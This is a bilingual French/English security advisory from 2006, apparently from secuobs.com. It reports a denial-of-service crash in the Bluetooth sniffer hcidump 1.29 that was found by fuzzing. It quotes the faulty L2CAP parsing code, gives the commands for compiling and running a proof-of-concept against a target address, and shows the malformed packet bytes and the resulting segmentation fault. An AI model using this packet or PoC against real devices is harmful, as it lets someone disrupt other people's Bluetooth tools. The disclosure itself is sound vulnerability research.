|
[Infratech - vulnérabilité] Déni de Service sur hcidump
Par Pierre Betouin,
secuobs.com
Le 05/02/2006
Résumé : Une faille de type Déni de Service (DoS) a été identifiée dans l'utilitaire hcidump grâce au fuzzing opéré avec Bluetooth Stack Smasher (BSS). hcidump est l'équivalent Bluetooth d'un outil comme tcpdump. - Lire l'article
[Version francaise] - [English version]
Lors de tests réalisés sur différents périphériques Bluetooh avec l'utilitaire de fuzzing Bluetooth Stack Smasher (BSS - lien ), un bug a été trouvé dans hcidump.
La version testée de hcidump est la 1.29. D'autres versions peuvent cependant être également concernées.
Cette faille de type Déni de Service (DoS) permet de faire planter l'application et de rendre impossible les usages par les utilisateurs réguliers.
Le code incriminé est situé dans le fichier source l2cap.
Ce code est le suivant :
------------------------------------------------------------------
while (frm->len >= L2CAP_CMD_HDR_SIZE) {
if (!p_filter(FILT_L2CAP)) {
p_indent(level, frm);
printf("L2CAP(s): ");
}
switch (hdr->code) {
l2cap_cmd_hdr *hdr = frm->ptr;
frm->ptr += L2CAP_CMD_HDR_SIZE;
frm->len -= L2CAP_CMD_HDR_SIZE;
(...)
default:
if (p_filter(FILT_L2CAP))
break;
printf("code 0x%2.2x ident %d len %d\n",
hdr->code, hdr->ident, btohs(hdr->len));
raw_dump(level, frm);
}
frm->ptr += btohs(hdr->len);
frm->len -= btohs(hdr->len);
------------------------------------------------------------------
L'utilisation du code PoC ( lien ) permettant de provoquer le DoS est la suivante :
# gcc -lbluetooth hcidump-crash.c -o hcidump-crash
# ./hcidump-crash 00:80:09:XX:XX:XX
L2CAP packet sent (15)
Buffer: 08 01 0B 00 41 41 41 41 41 41 41 41 41 41 41
# hcidump
HCI sniffer - Bluetooth packet analyzer ver 1.29
device: hci0 snap_len: 1028 filter: 0xffffffff
< HCI Command: Create Connection (0x01|0x0005) plen 13
> HCI Event: Command Status (0x0f) plen 4
> HCI Event: Connect Complete (0x03) plen 11
< HCI Command: Write Link Policy Settings (0x02|0x000d) plen 4
< ACL data: handle 41 flags 0x02 dlen 19
L2CAP(s): debug : code=8
Echo req: dlen 12
L2CAP(s): debug : code=0
code 0x00 ident 0 len 0
(...)
L2CAP(s): debug : code=0
code 0x00 ident 0 len 0
segmentation fault
Où 00:80:09:XX:XX:XX est l'adresse Bluetooth de la cible faillible.
Pour plus d'informations sur la sécurité Bluetooth :
[Dossier Sécurité Bluetooth - partie 1] Introduction aux technologies Bluetooth lien
[Dossier Sécurité Bluetooth - partie 2] Présentation des utilitaires Bluetooth lien
[Dossier Sécurité Bluetooth - partie 3] Les attaques génériques lien
[Dossier Sécurité Bluetooth - partie 4] Les attaques d'implémentations lien
[Dossier Sécurité Bluetooth - partie 5] Scénarios possibles & synthèse lien
[Infratech - vulnérabilité] PoC pour le DoS sur les téléphones portables Sony/Ericsson lien
[Infratech - vulnérabilité] Déni de Service sur les téléphones portables Sony/Ericsson lien
[Infratech - vulnérabilité] PoC pour le DoS sur hcidump lien
[Infratech - release] BSS - Bluetooth Stack Smasher v0.6 lien
[English version] - [Version francaise]
Currently pentesting several bluetooth devices with Bluetooth Stack Smasher (BSS - lien ), a bug was found in hcidump (tested version : 1.29).
The affected code, located in l2cap.c, is :
------------------------------------------------------------------
while (frm->len >= L2CAP_CMD_HDR_SIZE) {
if (!p_filter(FILT_L2CAP)) {
p_indent(level, frm);
printf("L2CAP(s): ");
}
switch (hdr->code) {
l2cap_cmd_hdr *hdr = frm->ptr;
frm->ptr += L2CAP_CMD_HDR_SIZE;
frm->len -= L2CAP_CMD_HDR_SIZE;
(...)
default:
if (p_filter(FILT_L2CAP))
break;
printf("code 0x%2.2x ident %d len %d\n",
hdr->code, hdr->ident, btohs(hdr->len));
raw_dump(level, frm);
}
frm->ptr += btohs(hdr->len);
frm->len -= btohs(hdr->len);
------------------------------------------------------------------
PoC usage ( lien ) is :
# gcc -lbluetooth hcidump-crash.c -o hcidump-crash
# ./hcidump-crash 00:80:09:XX:XX:XX
L2CAP packet sent (15)
Buffer: 08 01 0B 00 41 41 41 41 41 41 41 41 41 41 41
# hcidump
HCI sniffer - Bluetooth packet analyzer ver 1.29
device: hci0 snap_len: 1028 filter: 0xffffffff
< HCI Command: Create Connection (0x01|0x0005) plen 13
> HCI Event: Command Status (0x0f) plen 4
> HCI Event: Connect Complete (0x03) plen 11
< HCI Command: Write Link Policy Settings (0x02|0x000d) plen 4
< ACL data: handle 41 flags 0x02 dlen 19
L2CAP(s): debug : code=8
Echo req: dlen 12
L2CAP(s): debug : code=0
code 0x00 ident 0 len 0
(...)
L2CAP(s): debug : code=0
code 0x00 ident 0 len 0
segmentation fault
Where 00:80:09:XX:XX:XX is the bluetooth address of the target.
- Article suivant : Tor rend anonymes les connexions internet
- Article précédent : [Infratech - vulnérabilité] PoC pour le DoS sur hcidump
- Article suivant dans la catégorie Failles : La production de collisions MD5 de plus en plus accessible
- Article précédent dans la catégorie Failles : [Infratech - vulnérabilité] PoC pour le DoS sur hcidump
Mini-Tagwall des articles publiés sur SecuObs : | | | | sécurité, exploit, windows, attaque, outil, microsoft, réseau, audit, metasploit, vulnérabilité, système, virus, internet, usbsploit, données, source, linux, protocol, présentation, scanne, réseaux, scanner, bluetooth, conférence, reverse, shell, meterpreter, vista, rootkit, détection, mobile, security, malicieux, engineering, téléphone, paquet, trames, https, noyau, utilisant, intel, wishmaster, google, sysun, libre |
Mini-Tagwall de l'annuaire video : | | | | curit, security, biomet, metasploit, biometric, cking, password, windows, botnet, defcon, tutorial, crypt, xploit, exploit, lockpicking, linux, attack, wireshark, vmware, rootkit, conference, network, shmoocon, backtrack, virus, conficker, elcom, etter, elcomsoft, server, meterpreter, openvpn, ettercap, openbs, iphone, shell, openbsd, iptables, securitytube, deepsec, source, office, systm, openssh, radio |
Mini-Tagwall des articles de la revue de presse : | | | | security, microsoft, windows, hacker, attack, network, vulnerability, google, exploit, malware, internet, remote, iphone, server, inject, patch, apple, twitter, mobile, virus, ebook, facebook, vulnérabilité, crypt, source, linux, password, intel, research, virtual, phish, access, tutorial, trojan, social, privacy, firefox, adobe, overflow, office, cisco, conficker, botnet, pirate, sécurité |
Mini-Tagwall des Tweets de la revue Twitter : | | | | security, linux, botnet, attack, metasploit, cisco, defcon, phish, exploit, google, inject, server, firewall, network, twitter, vmware, windows, microsoft, compliance, vulnerability, python, engineering, source, kernel, crypt, social, overflow, nessus, crack, hacker, virus, iphone, patch, virtual, javascript, malware, conficker, pentest, research, email, password, adobe, apache, proxy, backtrack |
|
|
|
|
|